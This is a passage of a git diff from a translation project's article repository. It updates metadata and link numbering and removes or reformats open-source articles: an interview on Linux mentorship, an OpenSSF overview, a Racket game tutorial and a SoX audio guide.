ambitious, but of course, the family tries to set them up in a marriage to find a husband for them that is compatible. As a result, you get to learn about the traditional values and roles they still want women to play there — while at the same time, many women are coming out of higher learning institutions in that country that are seeking technical careers. @@ -62,11 +59,11 @@ There’s a natural resistance to choosing certain professions that you have to **JP:** Women in technical and STEM professions are becoming much more prominent in other countries, such as China, Japan, and Korea. For some reason, in the US, I tend to see more women enter the medical profession than hard technology — and it might be a level of effort and perceived reward thing. You can spend eight years becoming a medical doctor or eight years becoming a scientist or an engineer, and it can be equally difficult, but the compensation at the end may not be the same. It’s expensive to get an education, and it takes a long time and hard work, regardless of the professional discipline. -**SK:** I have also heard that women also like to enter professions where they can make a difference in the world — a human touch, if you will. So that may translate to them choosing careers where they can make a larger impact on people — and they may view careers in technology as not having those same attributes. Maybe when we think about attracting women to technology fields, we might have to promote technology aspects that make a difference. That may be changing now, such as the [LF Public Health][16] (LFPH) project we kicked off last year. And with [LF AI & Data Foundation][17], we are also making a difference in people’s lives, such as [detecting earthquakes][18] or [analyzing climate change][19]. If we were to promote projects such as these, we might draw more women in. +**SK:** I have also heard that women also like to enter professions where they can make a difference in the world — a human touch, if you will. So that may translate to them choosing careers where they can make a larger impact on people — and they may view careers in technology as not having those same attributes. Maybe when we think about attracting women to technology fields, we might have to promote technology aspects that make a difference. That may be changing now, such as the [LF Public Health][15] (LFPH) project we kicked off last year. And with [LF AI & Data Foundation][16], we are also making a difference in people’s lives, such as [detecting earthquakes][17] or [analyzing climate change][18]. If we were to promote projects such as these, we might draw more women in. -**JP:** So clearly, one of the areas of technology where you can make a difference is in open source, as the LF is hosting some very high-concept and existential types of projects such as [LF Energy][20], for example — I had no idea what was involved in it and what its goals were until I spoke to [Shuli Goodman][21] in-depth about it. With the mentorship program, I assume we need this to attract fresh talent — because as folks like us get older and retire, and they exit the field, we need new people to replace them. So I assume mentorship, for the Linux Foundation, is an investment in our own technologies, correct? +**JP:** So clearly, one of the areas of technology where you can make a difference is in open source, as the LF is hosting some very high-concept and existential types of projects such as [LF Energy][19], for example — I had no idea what was involved in it and what its goals were until I spoke to [Shuli Goodman][20] in-depth about it. With the mentorship program, I assume we need this to attract fresh talent — because as folks like us get older and retire, and they exit the field, we need new people to replace them. So I assume mentorship, for the Linux Foundation, is an investment in our own technologies, correct? -**SK:** Correct. Bringing in new developers into the fold is the primary purpose, of course — and at the same time, I view the LF as taking on mentorship provides that neutral, level playing field across the industry for all open source projects. Secondly, we offer a self-service platform, [LFX Mentorship][22], where anyone can come in and start their project. So when the COVID-19 pandemic began, we [expanded this program to help displaced people][3] — students, et cetera, and less visible projects. Not all projects typically get as much funding or attention as others do — such as a Kubernetes or  Linux kernel — among the COVID mentorship program projects we are funding. I am particularly proud of supporting a climate change-related project, [Using Machine Learning to Predict Deforestation][23]. +**SK:** Correct. Bringing in new developers into the fold is the primary purpose, of course — and at the same time, I view the LF as taking on mentorship provides that neutral, level playing field across the industry for all open source projects. Secondly, we offer a self-service platform, [LFX Mentorship][21], where anyone can come in and start their project. So when the COVID-19 pandemic began, we [expanded this program to help displaced people][22] — students, et cetera, and less visible projects. Not all projects typically get as much funding or attention as others do — such as a Kubernetes or  Linux kernel — among the COVID mentorship program projects we are funding. I am particularly proud of supporting a climate change-related project, [Using Machine Learning to Predict Deforestation][23]. The self-service approach allows us to fund and add new developers to projects where they are needed. The LF mentorships are remote work opportunities that are accessible to developers around the globe. We see people sign up for mentorship projects from places we haven’t seen before, such as Africa, and so on, thus creating a level playing field. @@ -122,43 +119,43 @@ Talking about backpacking reminded me of the two-day, 22-mile backpacking trip d **JP:** Awesome. I enjoyed talking to you today. So happy I finally got to meet you virtually. -The post [Interview with Shuah Khan, Kernel Maintainer & Linux Fellow][33] appeared first on [Linux Foundation][34]. +The post [Interview with Shuah Khan, Kernel Maintainer & Linux Fellow][33] appeared first on [Linux Foundation][34]. -------------------------------------------------------------------------------- via: https://www.linux.com/news/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ 作者:[The Linux Foundation][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2021/01/3E9C3E02-5F59-4A99-AD4A-814C7B8737A9_1_105_c.jpeg -[2]: https://lfx.linuxfoundation.org/tools/mentorship/ -[3]: https://linuxfoundation.org/about/diversity-inclusivity/mentorship/ -[4]: https://elinux.org/Android_Mainlining_Project -[5]: https://lkml.org/lkml/2012/1/26/368 -[6]: https://www.kernel.org/doc/html/v4.15/dev-tools/kselftest.html -[7]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/usbip -[8]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/usb/usbip -[9]: https://www.systutorials.com/docs/linux/man/1-cpupower/ -[10]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/media/mc/mc-dev-allocator.c -[11]: https://www.linux-magazine.com/Issues/2018/208/Tutorial-USB-IP -[12]: https://en.wikipedia.org/wiki/LynxOS -[13]: http://www.openhpi.org/Developers -[14]: https://www.netflix.com/title/80244565 -[15]: https://en.wikipedia.org/wiki/A_Suitable_Girl_(film) -[16]: https://www.lfph.io/ -[17]: https://lfaidata.foundation/ -[18]: https://openeew.com/ -[19]: https://www.os-climate.org/ -[20]: https://www.lfenergy.org/ -[21]: mailto:sgoodman@contractor.linuxfoundation.org -[22]: https://mentorship.lfx.linuxfoundation.org/ +[b]: https://github.com/lkxed +[1]: https://lfx.linuxfoundation.org/tools/mentorship/ +[2]: https://linuxfoundation.org/about/diversity-inclusivity/mentorship/ +[3]: https://elinux.org/Android_Mainlining_Project +[4]: https://lkml.org/lkml/2012/1/26/368 +[5]: https://www.kernel.org/doc/html/v4.15/dev-tools/kselftest.html +[6]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/usbip +[7]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/usb/usbip +[8]: https://www.systutorials.com/docs/linux/man/1-cpupower/ +[9]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/media/mc/mc-dev-allocator.c +[10]: https://www.linux-magazine.com/Issues/2018/208/Tutorial-USB-IP +[11]: https://en.wikipedia.org/wiki/LynxOS +[12]: http://www.openhpi.org/Developers +[13]: https://www.netflix.com/title/80244565 +[14]: https://en.wikipedia.org/wiki/A_Suitable_Girl_(film) +[15]: https://www.lfph.io/ +[16]: https://lfaidata.foundation/ +[17]: https://openeew.com/ +[18]: https://www.os-climate.org/ +[19]: https://www.lfenergy.org/ +[20]: https://www.linux.com/mailto:sgoodman@contractor.linuxfoundation.org +[21]: https://mentorship.lfx.linuxfoundation.org/ +[22]: https://linuxfoundation.org/about/diversity-inclusivity/mentorship/ [23]: https://mentorship.lfx.linuxfoundation.org/project/926665ac-9b96-45aa-bb11-5d99096be870 [24]: https://www.linuxfoundation.org/en/blog/preventing-supply-chain-attacks-like-solarwinds/ [25]: https://www.linuxfoundation.org/en/press-release/new-open-source-contributor-report-from-linux-foundation-and-harvard-identifies-motivations-and-opportunities-for-improving-software-security/ diff --git a/sources/tech/20210128 Open Source Security Foundation (OpenSSF)- Reflection and Future.md b/sources/tech/20210128 Open Source Security Foundation (OpenSSF)- Reflection and Future.md deleted file mode 100644 index 493b72b562..0000000000 --- a/sources/tech/20210128 Open Source Security Foundation (OpenSSF)- Reflection and Future.md +++ /dev/null @@ -1,89 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open Source Security Foundation (OpenSSF): Reflection and Future) -[#]: via: (https://www.linux.com/news/open-source-security-foundation-openssf-reflection-and-future/) -[#]: author: (The Linux Foundation https://www.linuxfoundation.org/en/blog/openssf-reflection-and-future/) - -Open Source Security Foundation (OpenSSF): Reflection and Future -====== - -The [Open Source Software Foundation (OpenSSF)][1] officially [launched on August 3, 2020][2]. In this article, we’ll look at why the OpenSSF was formed, what it’s accomplished in its first six months, and its plans for the future. - -The world depends on open source software (OSS), so OSS security is vital. Various efforts have been created to help improve OSS security. These efforts include the Core Infrastructure Initiative (CII) in the Linux Foundation, the Open Source Security Coalition (OSSC) founded by the GitHub Security Lab, and the Joint Open Source Software Initiative (JOSSI) founded by Google and others. - -It became apparent that progress would be easier if these efforts merged into a single effort. The OpenSSF was created in 2020 as a merging of these three groups into “a cross-industry collaboration that brings together leaders to improve the security of open source software (OSS).” - -The OpenSSF has certainly gained that “cross-industry collaboration”; its dozens of members include (alphabetically) Canonical, GitHub, Google, IBM, Intel, Microsoft, and Red Hat. Its governing board also includes a Security Community Individual Representative to represent those not represented in other ways specifically. It’s also created some structures to help people work together: it’s established active working groups, identified (and posted) its values, and agreed on its technical vision. - -But none of that matters unless they actually _produce_ results. It’s still early, but they already have several accomplishments. They have released: - - * [Secure Software Development Fundamentals courses][3]. This set of 3 freely-available courses on the edX platform is for software developers to learn to develop secure software. It focuses on practical steps that any software developer can easily take, not theory or actions requiring unlimited resources.  Developers can also pay a fee to take tests to attempt to earn certificates to prove they understand the material. - * [Security Scorecards][4]. This auto-generates a “security score” for open source projects to help users as they decide the trust, risk, and security posture for their use case. - * [Criticality Score][5]. This project auto-generates a criticality score for open source projects based on a number of parameters. The goal is to better understand the most critical open source projects the world depends on. - * [Security metrics dashboard][6]. This early-release work provides a dashboard of security and sustainment information about OSS projects by combining the Security ScoreCards, CII Best Practices, and other data sources. - * [OpenSSF CVE Benchmark][7]. This benchmark consists of vulnerable code and metadata for over 200 historical JavaScript/TypeScript vulnerabilities (CVEs). This will help security teams evaluate different security tools on the market by enabling teams to determine false positive and false negative rates with real codebases instead of synthetic test code. - * [OWASP Security Knowledge Framework (SKF)][8]. In collaboration with OWASP, this work is a knowledge base that includes projects with checklists and best practice code examples in multiple programming languages. It includes training materials for developers on how to write secure code in specific languages and security labs for hands-on work. - * [Report on the 2020 FOSS Contributor Survey][9], The OpenSSF and the Laboratory for Innovation Science at Harvard (LISH) released a report that details the findings of a contributor survey to study and identify ways to improve OSS security and sustainability. There were nearly 1,200 respondents. - - - -The existing [CII Best Practices badge][10] project has also been folded into the OpenSSF and continues to be improved. The project now has more Chinese translators, a new ongoing Swahili translation, and various small refinements that clarify the badging requirements. - -The [November 2020 OpenSSF Town Hall][11] discussed the OpenSSF’s ongoing work. The OpenSSF currently has the following working groups: - - * Vulnerability Disclosures - * Security Tooling - * Security Best Practices - * Identifying Security Threats to Open Source Projects (focusing on a metrics dashboard) - * Securing Critical Projects - * Digital Identity Attestation - - - -Future potential work, other than continuously improving work already released, includes: - - * Identifying overlapping and related security requirements in various specifications to reduce duplicate effort. This is to be developed in collaboration with OWASP as lead and is termed the [Common Requirements Enumeration (CRE)][12]. The CRE is to “link sections of standard[s] and guidelines to each other, using a mutual topic identifier, enabling standard and scheme makers to work efficiently, enabling standard users to find the information they need, and attaining a shared understanding in the industry of what cyber security is.” [Source: “Common Requirements Enumeration”] - * Establishing a website for no-install access to a security metrics OSS dashboard. Again, this will provide a single view of data from multiple data sources, including the Security Scorecards and CII Best Practices. - * Developing improved identification of critical OSS projects. Harvard and the LF have previously worked to identify critical OSS projects. In the coming year, they will refine their approaches and add new data sources to identify critical OSS projects better. - * Funding specific critical OSS projects to improve their security. The expectation is that this will focus on critical OSS projects that are not otherwise being adequately funded and will work to improve their overall sustainability. - * Identifying and implementing improved, simplified techniques for digitally signing commits and verifying those identity attestations. - - - -As with all Linux Foundation projects, the work by the OpenSSF is decided by its participants. If you are interested in the security of the OSS we all depend on, check out the OpenSSF and participate in some way. The best way to get involved is to attend the working group meetings — they are usually every other week and very casual. By working together we can make a difference. For more information, see [https://openssf.org][1] - -_[**David A. Wheeler,**][13]_* Director of Open Source Supply Chain Security at the Linux Foundation*** - -The post [Open Source Security Foundation (OpenSSF): Reflection and Future][14] appeared first on [Linux Foundation][15]. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/open-source-security-foundation-openssf-reflection-and-future/ - -作者:[The Linux Foundation][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linuxfoundation.org/en/blog/openssf-reflection-and-future/ -[b]: https://github.com/lujun9972 -[1]: https://openssf.org/ -[2]: https://www.linuxfoundation.org/en/press-release/technology-and-enterprise-leaders-combine-efforts-to-improve-open-source-security/ -[3]: https://openssf.org/blog/2020/10/29/announcing-secure-software-development-edx-course-sign-up-today/ -[4]: https://openssf.org/blog/2020/11/06/security-scorecards-for-open-source-projects/ -[5]: https://github.com/ossf/criticality_score -[6]: https://github.com/ossf/Project-Security-Metrics -[7]: https://openssf.org/blog/2020/12/09/introducing-the-openssf-cve-benchmark/ -[8]: https://owasp.org/www-project-security-knowledge-framework/ -[9]: https://www.linuxfoundation.org/en/press-release/new-open-source-contributor-report-from-linux-foundation-and-harvard-identifies-motivations-and-opportunities-for-improving-software-security/ -[10]: https://bestpractices.coreinfrastructure.org/ -[11]: https://openssf.org/blog/2020/11/23/openssf-town-hall-recording-now-available/ -[12]: https://owasp.org/www-project-integration-standards/ -[13]: mailto:dwheeler@linuxfoundation.org -[14]: https://www.linuxfoundation.org/en/blog/openssf-reflection-and-future/ -[15]: https://www.linuxfoundation.org/ diff --git a/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md b/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md index 4f0bb194a6..7d672783b8 100644 --- a/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md +++ b/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md @@ -1,21 +1,21 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Start programming in Racket by writing a "guess the number" game) -[#]: via: (https://opensource.com/article/21/1/racket-guess-number) -[#]: author: (Cristiano L. Fontana https://opensource.com/users/cristianofontana) +[#]: subject: "Start programming in Racket by writing a "guess the number" game" +[#]: via: "https://opensource.com/article/21/1/racket-guess-number" +[#]: author: "Cristiano L. Fontana https://opensource.com/users/cristianofontana" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Start programming in Racket by writing a "guess the number" game ====== -Racket is a great way to learn a language from the Scheme and Lisp -families. +Racket is a great way to learn a language from the Scheme and Lisp families. + ![Person using a laptop][1] I am a big advocate of learning multiple programming languages. That's mostly because I tend to get bored with the languages I use the most. It also teaches me new and interesting ways to approach programming. -Writing the same program in multiple languages is a good way to learn their differences and similarities. Previously, I wrote articles showing the same sample data plotting program written in [C & C++][2], JavaScript with [Node.js][3], and [Python and Octave][4]. +Writing the same program in multiple languages is a good way to learn their differences and similarities. Previously, I wrote articles showing the same sample data plotting program written in [C & C++][2], JavaScript with [Node.js][3], and [Python and Octave][4]. This article is part of another series about writing a "guess the number" game in different programming languages. In this game, the computer picks a number between one and 100 and asks you to guess it. The program loops until you make a correct guess. @@ -31,7 +31,6 @@ When I start learning a new language, I usually look for a tutorial that introdu Starting with Racket makes sense because it is very mature and versatile, and the community is very active. Since Racket is a Lisp-like language, a major characteristic is that it uses the [prefix notation][9] and a [lot of parentheses][10]. Functions and operators are applied to a list of operands by prefixing them: - ``` (function-name operand operand ...) @@ -58,15 +57,14 @@ The major Linux distributions offer packaged versions of Racket, so [installatio Here is a version of the "guess the number" program written in Racket: - ``` #lang racket (define (inquire-user number)   (display "Insert a number: ") -  (define guess (string->number (read-line))) -  (cond [(> number guess) (displayln "Too low") (inquire-user number)] -        [(< number guess) (displayln "Too high") (inquire-user number)] +  (define guess (string->number (read-line))) +  (cond [(> number guess) (displayln "Too low") (inquire-user number)] +        [(< number guess) (displayln "Too high") (inquire-user number)]         [else (displayln "Correct!")])) (displayln "Guess a number between 1 and 100") @@ -75,14 +73,12 @@ Here is a version of the "guess the number" program written in Racket: Save this listing to a file called `guess.rkt` and run it: - ``` -`$ racket guess.rkt` +$ racket guess.rkt ``` Here is some example output: - ``` Guess a number between 1 and 100 Insert a number: 90 @@ -111,9 +107,9 @@ Now for the next line. `(define ...)` is used to declare new variables or functi This function recursively calls itself to repeat the question until the user guesses the right number. Note that I am not using loops; I feel that Racket programmers do not like loops and only use recursive functions. This approach is idiomatic to Racket, but if you prefer, [loops are an option][18]. -The first step of the `inquire-user` function asks the user to insert a number by writing that string to the console. Then it defines a variable called `guess` that contains whatever the user entered. The [`read-line` function][19] returns the user input as a string. The string is then converted to a number with the [`string->number` function][20]. After the variable definition, the [`cond` function][21] accepts a series of conditions. If a condition is satisfied, it executes the code inside that condition. These conditions, `(> number guess)` and `(< number guess)`, are followed by two functions: a `displayln` that gives clues to the user and a `inquire-user` call. The function calls itself again when the user does not guess the right number. The `else` clause executes when the two conditions are not met, i.e., the user enters the correct number. The program's guts are this `inquire-user` function. +The first step of the `inquire-user` function asks the user to insert a number by writing that string to the console. Then it defines a variable called `guess` that contains whatever the user entered. The [read-line function][19] returns the user input as a string. The string is then converted to a number with the [string->number function][20]. After the variable definition, the [cond function][21] accepts a series of conditions. If a condition is satisfied, it executes the code inside that condition. These conditions, `(> number guess)` and `(< number guess)`, are followed by two functions: a `displayln` that gives clues to the user and a `inquire-user` call. The function calls itself again when the user does not guess the right number. The `else` clause executes when the two conditions are not met, i.e., the user enters the correct number. The program's guts are this `inquire-user` function. -However, the function still needs to be called! First, the program asks the user to guess a number between 1 and 100, and then it calls the `inquire-user` function with a random number. The random number is generated with the [`random` function][22]. You need to inform the function that you want to generate a number between 1 and 100, but the `random` function generates integer numbers up to `max-1`, so I used 101. +However, the function still needs to be called! First, the program asks the user to guess a number between 1 and 100, and then it calls the `inquire-user` function with a random number. The random number is generated with the [random function][22]. You need to inform the function that you want to generate a number between 1 and 100, but the `random` function generates integer numbers up to `max-1`, so I used 101. ### Try Racket @@ -124,15 +120,15 @@ Learning new languages is fun! I am a big advocate of programming languages poly via: https://opensource.com/article/21/1/racket-guess-number 作者:[Cristiano L. Fontana][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/cristianofontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop_screen_desk_work_chat_text.png [2]: https://opensource.com/article/20/2/c-data-science [3]: https://opensource.com/article/20/6/data-science-nodejs [4]: https://opensource.com/article/20/2/python-gnu-octave-data-science diff --git a/sources/tech/20210201 My handy guide to software development and testing.md b/sources/tech/20210201 My handy guide to software development and testing.md index 2ac51f55f3..6621204ddf 100644 --- a/sources/tech/20210201 My handy guide to software development and testing.md +++ b/sources/tech/20210201 My handy guide to software development and testing.md @@ -1,5 +1,5 @@ [#]: collector: (lujun9972) -[#]: translator: ( ) +[#]: translator: (toknow-gh) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) diff --git a/sources/tech/20210202 Convert audio files with this versatile Linux command.md b/sources/tech/20210202 Convert audio files with this versatile Linux command.md deleted file mode 100644 index 683907b70f..0000000000 --- a/sources/tech/20210202 Convert audio files with this versatile Linux command.md +++ /dev/null @@ -1,240 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Convert audio files with this versatile Linux command) -[#]: via: (https://opensource.com/article/20/2/linux-sox) -[#]: author: (Klaatu https://opensource.com/users/klaatu) - -Convert audio files with this versatile Linux command -====== -SoX Sound Exchange can even add effects to your audio files. -![HiFi vintage stereo][1] - -I work with media, and when you work with any kind of media, you learn pretty quickly that standardization is a valuable tool. Just as you wouldn't try to add a fraction to a decimal without converting one or the other, I've learned that it's not ideal to combine media of differing formats. Most hobbyist-level applications make the conversion process invisible to the user as a convenience. Flexible software aimed at users needing control over the fine details of their assets, however, often leave it up to you to convert your media to your desired format in advance. I have a few favorite tools for conversion, and one of those is the so-called _Swiss army knife of sound_, [SoX][2]. - -### Installing - -On Linux or BSD, you can install the **sox** command (and some helpful symlinks) from your software repository or ports tree. - -You can also install SoX from its home on [Sourceforge.net][3]. It doesn't release often, but its codebase tends to be stable, so if you want the latest features (such as Opus support), it's easy and safe to build. - -SoX provides primarily the **sox** command, but installation also creates a few useful symlinks: **play**, **rec**, and **soxi**. - -### Getting information about files with SoX - -SoX reads and rewrites audio data. Whether it stores the rewritten audio data is up to you. There are use cases in which you don't need to store the converted data, for instance, when you're sending the output directly to your speakers for playback. Before doing any conversion, however, it's usually a good idea to determine exactly what you're dealing with in the first place. - -To gather information about an audio file, use the **soxi** command. This is a symlink to **sox --info**. - - -``` -$ soxi countdown.mp3 -Input File     : '/home/tux/countdown.mp3' -Channels       : 1 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:11.21 = 494185 samples... -File Size      : 179k -Bit Rate       : 128k -Sample Encoding: MPEG audio (layer I, II or III) -``` - -This output gives you a good idea of what codec the audio file is encoded in, the file length, file size, sample rate, and the number of channels. Some of these you might _think_ you already know, but I never trust assumptions when media is brought to me by a client. Verify media attributes with **soxi**. - -### Converting files - -In this example, the audio of a game show countdown has been delivered as an MP3 file. While nearly all editing applications accept compressed audio, none of them actually edit the compressed data. Conversion is happening somewhere, whether it's a secret background task or a prompt for you to save a copy. I generally prefer to do the conversion myself, in advance. This way, I can control what format I'm using. I can do lots of media in batches overnight instead of wasting valuable production time waiting for an editing application to churn through them on demand. - -The **sox** command is meant for converting audio files. There are a few stages in the **sox** pipeline: - - * input - * combine - * effects - * output - - - -In command syntax, the effects step is, confusingly, written _last_. That means the pipeline is composed this way: - - -``` -`input → combine → output → effects` -``` - -### Encoding - -The simplest conversion command involves only an input file and an output file. Here's the command to convert an MP3 file to a lossless FLAC file: - - -``` -$ sox countdown.mp3 output.flac -$ soxi output.flac - -Input File     : 'output.flac' -Channels       : 1 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:11.18 = 493056 samples... -File Size      : 545k -Bit Rate       : 390k -Sample Encoding: 16-bit FLAC -Comment        : 'Comment=Processed by SoX' -``` - -#### Effects - -The effects chain is specified at the end of a command. It can alter audio prior to sending the data to its final destination. For instance, sometimes audio that's too loud can cause problems during conversion: - - -``` -$ sox bad.wav bad.ogg -sox WARN sox: `bad.ogg' output clipped 126 samples; decrease volume? -``` - -Applying a **gain** effect can often solve this problem: - - -``` -`$ sox bad.wav bad.ogg gain -1` -``` - -#### Fade - -Another useful effect is **fade**. This effect lets you define the shape of a fade-in or fade-out, along with how many seconds you want the fade to span. - -Here's an example of a six-second fade-in using an inverted parabola: - - -``` -`$ sox intro.ogg intro.flac fade p 6` -``` - -This applies a three-second fade-in to the head of the audio and a fade-out starting at the eight-second mark (the intro music is only 11 seconds, so the fade-out is also three-seconds in this case): - - -``` -`$ sox intro.ogg intro.flac fade p 3 8` -``` - -The different kinds of fades (sine, linear, inverted parabola, and so on), as well as the options **fade** offers (fade-in, fade-out), are listed in the **sox** man page. - -#### Effect syntax - -Each effect plugin has its own syntax, so refer to the man page for details on how to invoke each one. - -Effects can be daisy-chained in one command, at least to the extent that you want to combine them. In other words, there's no syntax to apply a **flanger** effect only during a six-second fade-out. For something that precise, you need a graphical sound wave editor or a digital audio workstation such as [LMMS][4] or [Rosegarden][5]. However, if you just have effects that you want to apply once, you can list them together in the same command. - -This command applies a -1 **gain** effect, a tempo **stretch** of 1.35, and a **fade-out**: - - -``` -$ sox intro.ogg output.flac gain -1 stretch 1.35 fade p 0 6 -$ soxi output.flac - -Input File     : 'output.flac' -Channels       : 1 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:15.10 = 665808 samples... -File Size      : 712k -Bit Rate       : 377k -Sample Encoding: 16-bit FLAC -Comment        : 'Comment=Processed by SoX' -``` - -### Combining audio - -SoX can also combine audio files, either by concatenating them or by mixing them. - -To join (or _concatenate_) files into one, provide more than one input file in your command: - - -``` -`$ sox countdown.mp3 intro.ogg output.flac` -``` - -In this example, **output.flac** now contains **countdown** audio, followed immediately by **intro** music. - -If you want the two tracks to play over one another at the same time, though, you can use the **\--combine mix** option: - - -``` -`$ sox --combine mix countdown.mp3 intro.ogg output.flac` -``` - -Imagine, however, that the two input files differed in more than just their codecs. It's not uncommon for vocal tracks to be recorded in mono (one channel), but for music to be recorded in at least stereo (two channels). SoX won't default to a solution, so you have to standardize the format of the two files yourself first. - -#### Altering audio files - -Options related to the file name listed _after_ it. For instance, the **\--channels** option in this command applies _only_ to **input.wav** and NOT to **example.ogg** or **output.flac**: - - -``` -`$ sox --channels 2 input.wav example.ogg output.flac` -``` - -This means that the position of an option is very significant in SoX. Should you specify an option at the start of your command, you're essentially only overriding what SoX gleans from the input files on its own. Options placed immediately before the _output_ file, however, determine how SoX writes the audio data. - -To solve the previous problem of incompatible channels, you can first standardize your inputs, and then mix: - - -``` -$ sox countdown.mp3 --channels 2 countdown-stereo.flac gain -1 -$ soxi countdown-stereo.flac - -Input File     : 'countdown-stereo.flac' -Channels       : 2 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:11.18 = 493056 samples... -File Size      : 545k -Bit Rate       : 390k -Sample Encoding: 16-bit FLAC -Comment        : 'Comment=Processed by SoX' - -$ sox --combine mix \ -countdown-stereo.flac \ -intro.ogg \ -output.flac -``` - -SoX absolutely requires multiple commands for complex actions, so it's normal to create several temporary and intermediate files as needed. - -### Multichannel audio - -Not all audio is constrained to one or two channels, of course. If you want to combine several audio channels into one file, you can do that with SoX and the **\--combine merge** option: - - -``` -$ sox --combine merge countdown.mp3 intro.ogg output.flac -$ soxi output.flac - -Input File     : 'output.flac' -Channels       : 3 -[...] -``` - -### Easy audio manipulation - -It might seem strange to work with audio using no visual interface, and for some tasks, SoX definitely isn't the best tool. However, for many tasks, SoX provides an easy and lightweight toolkit. SoX is a simple command with powerful potential. With it, you can convert audio, manipulate channels and waveforms, and even generate your own sounds. This article has only provided a brief overview of its capabilities, so go read its man page or [online documentation][2] and then see what you can create. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/linux-sox - -作者:[Klaatu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/klaatu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/hi-fi-stereo-vintage.png?itok=KYY3YQwE (HiFi vintage stereo) -[2]: http://sox.sourceforge.net/sox.html -[3]: http://sox.sourceforge.net -[4]: https://opensource.com/life/16/2/linux-multimedia-studio -[5]: https://opensource.com/article/18/3/make-sweet-music-digital-audio-workstation-rosegarden diff --git a/sources/tech/20210202 How I build and expand application development and testing.md b/sources/tech/20210202 How I build and expand application development and testing.md index f01b3f4355..4c3673ebee 100644 --- a/sources/tech/20210202 How I build and expand application development and testing.md +++ b/sources/tech/20210202 How I build and expand application development and testing.md @@ -1,5 +1,5 @@ [#]: collector: (lujun9972) -[#]: translator: ( ) +[#]: translator: (toknow-gh) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) diff --git a/sources/tech/20210203 Defining boundaries and interfaces in software development.md b/sources/tech/20210203 Defining boundaries and interfaces in software development.md index 6f3e540da8..912d093534 100644 --- a/sources/tech/20210203 Defining boundaries and interfaces in software development.md +++ b/sources/tech/20210203 Defining boundaries and interfaces in software development.md @@ -1,5 +1,5 @@ [#]: collector: (lujun9972) -[#]: translator: ( ) +[#]: translator: (toknow-gh) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) @@ -92,7 +92,7 @@ The system is trying to remove an item that does not exist in the basket, and it ``` public int RemoveItem(Hashtable item) { -        if(basket.IndexOf(item) >= 0) { +        if(basket.IndexOf(item) >= 0) {                 basket.RemoveAt(basket.IndexOf(item));         }         return basket.Count; diff --git a/sources/tech/20210204 How to implement business requirements in software development.md b/sources/tech/20210204 How to implement business requirements in software development.md index 1527f6babe..c3a49e052a 100644 --- a/sources/tech/20210204 How to implement business requirements in software development.md +++ b/sources/tech/20210204 How to implement business requirements in software development.md @@ -1,5 +1,5 @@ [#]: collector: (lujun9972) -[#]: translator: ( ) +[#]: translator: (toknow-gh) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) @@ -86,7 +86,7 @@ Implement this processing logic in the `ShippingAPI` class: ``` private double Calculate10PercentDiscount(double total) {         double discount = 0.00; -        if(total > 500.00) { +        if(total > 500.00) {                 discount = (total/100) * 10;         }         return discount; diff --git a/sources/tech/20210205 Astrophotography with Fedora Astronomy Lab- setting up.md b/sources/tech/20210205 Astrophotography with Fedora Astronomy Lab- setting up.md index 7077d9544b..78d855c76b 100644 --- a/sources/tech/20210205 Astrophotography with 